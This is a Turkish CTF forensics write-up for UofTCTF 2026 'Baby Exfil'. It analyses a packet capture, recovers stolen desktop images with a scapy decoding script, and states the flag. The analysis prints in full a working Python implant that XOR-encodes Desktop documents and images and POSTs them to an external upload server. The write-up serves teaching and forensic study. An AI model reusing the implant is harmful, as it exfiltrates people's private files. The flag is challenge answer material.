UofTCTF 2026 — Baby Exfil Çözüm Yazısı
Bir Windows masaüstünden resim çalan, sabit anahtarla XOR'layıp hex olarak POST eden bir sızdırma implantının pcap'i. Sunucudan servis edilen zararlı, anahtarı da beraberinde veriyor; tüm yakalama çalınan dosyalara geri çözülüyor.
UofTCTF 2026 — Baby Exfil
Küçük bir sızdırma implantı ve saldırganın bize kaynak kodunu bizzat vermesi üzerine bir ağ adli bilişim sorusu.
- Etkinlik: UofTCTF 2026
- Kategori: Adli Bilişim (Forensics)
- Dosya:
final.pcapng.xz→final.pcapng - Bayrak formatı:
uoftctf{...}
1. Bulut gürültüsünden sinyali ayırmak
Yakalama 19.084 paket ve büyük bölümü sıradan bir Windows masaüstünün internete konuşması: 443'te TLS, UDP/443'te QUIC, MSN/Bing/Google çözümlemeleri. Konuşmaya göre filtreleyince tuhaf olan öne çıkıyor — 10.0.2.15 istemcisi, tek bir sunucuya, alışılmadık bir porttan düz HTTP konuşuyor:
TCP 10.0.2.15 -> 34.134.77.90:8080 POST /upload (x5)
TCP 10.0.2.15 -> 35.238.80.16:8000 GET /JdRlPr1.pyİki sunucu, iki rol: :8000 bir betik dağıtıyor, :8080 yüklemeleri alıyor. :8080 yanıtları kendini Werkzeug/2.2.2 Python/3.11.2 olarak tanıtıyor, :8000 ise SimpleHTTP/0.6 Python/3.11.2 — içinde tek dosya bulunan bir python -m http.server sahne dizini.
2. Açıkta servis edilen implant
GET /JdRlPr1.py yanıtı, okunabilir 907 bayt Python. İkinci istek 304 Not Modified alıyor. Tamamını okumak mümkün:
import os
import requests
key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"
def xor_file(data, key):
result = bytearray()
for i in range(len(data)):
result.append(data[i] ^ ord(key[i % len(key)]))
return bytes(result)
base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]
for root, dirs, files in os.walk(base_path):
for file in files:
if any(file.endswith(ext) for ext in extensions):
filepath = os.path.join(root, file)
try:
with open(filepath, 'rb') as f:
content = f.read()
encrypted = xor_file(content, key)
hex_data = encrypted.hex()
requests.post(server, files={'file': (file, hex_data)})
print(f"Sent: {file}")
except:
passTehdidin tamamı bu. C:\Users\squid\Desktop altında gezinir; her .docx, .png, .jpeg ya da .jpg dosyası için baytları okur, yinelenen G0G0Squ1d3Ncrypt10n anahtarıyla XOR'lar, sonucu hex'e çevirir ve multipart bir dosya alanı olarak POST eder. Sabit XOR dışında şifreleme yok, anahtar değişimi yok — anahtar aracın içinde geliyor.
3. Yüklemeler aslında hex metni
Her POST /upload bir multipart/form-data; User-Agent: python-requests/2.32.5 ve filename alanı diskteki özgün adı taşıyan tek bir file parçası var:
3G2BHzj.jpeg 390.835 B
fZQ6WcI.png 737.768 B
HNderw.png 493.047 B
oMdVph0.jpeg 59.275 B
wYTCtRu.jpeg 191.178 BGövde ikili veri değil, content.hex() çıktısı olan ASCII hex dizesi; yani 781 KB'lık POST aslında 390 KB'lık bir dosya. Her TCP akışını yeniden birleştirip parça gövdesini multipart sınırında kesip bytes.fromhex() ile çözüp betikteki anahtarla XOR'lamak implantı bire bir tersine çeviriyor:
from scapy.all import PcapReader, IP, TCP, Raw
import re
KEY = b"G0G0Squ1d3Ncrypt10n"
streams = {}
with PcapReader("final.pcapng") as pr:
for p in pr:
if IP in p and TCP in p and Raw in p and p[TCP].dport == 8080:
k = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
streams.setdefault(k, []).append((p[TCP].seq, bytes(p[TCP].payload)))
for k, pkts in streams.items():
pkts.sort()
data = b"".join(b for _, b in pkts)
if not data.startswith(b"POST /upload"):
continue
name = re.search(rb'filename="([^"]+)"', data).group(1).decode()
body = re.split(rb'\r\n--', data.split(b'filename', 1)[1].split(b'\r\n\r\n', 1)[1])[0].strip()
cipher = bytes.fromhex(body.decode())
plain = bytes(c ^ KEY[i % len(KEY)] for i, c in enumerate(cipher))
open(name, "wb").write(plain)
print(name, len(plain), plain[:4])Geri gelen baytlar gerçek sihirli imzalar taşıyor — JPEG için ff d8 ff db ve ff d8 ff e0, PNG için 89 50 4e 47 0d 0a 1a 0a. Bu da anahtarın doğru olduğunun kanıtı.
4. Çalınan dosyaları okumak
Beş resim geri geliyor: dağda bir köpek, bir Windows 7 masaüstü, somurtkan bir kedi, bir anime ekran görüntüsü ve — anime ekran görüntüsünün tam üzerine yapıştırılmış halde — bayrak.
uoftctf{b4by_w1r3sh4rk_an4lys1s}Saldırganın istediği veri masaüstündeki dosyalardı; önemli olanı ise implantın orada olduğunu bile bilmediği bir ekran görüntüsüydü.
5. Bayrak
uoftctf{b4by_w1r3sh4rk_an4lys1s}Ders, kitaptaki en eski ders: anahtarı asla araçla birlikte göndermeyin. Yinelenen anahtarlı XOR ancak sırrın gizliliği kadar güçlüdür ve burada sır, şifreli metni taşıyan aynı yakalamadan düz HTTP ile servis edildi.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver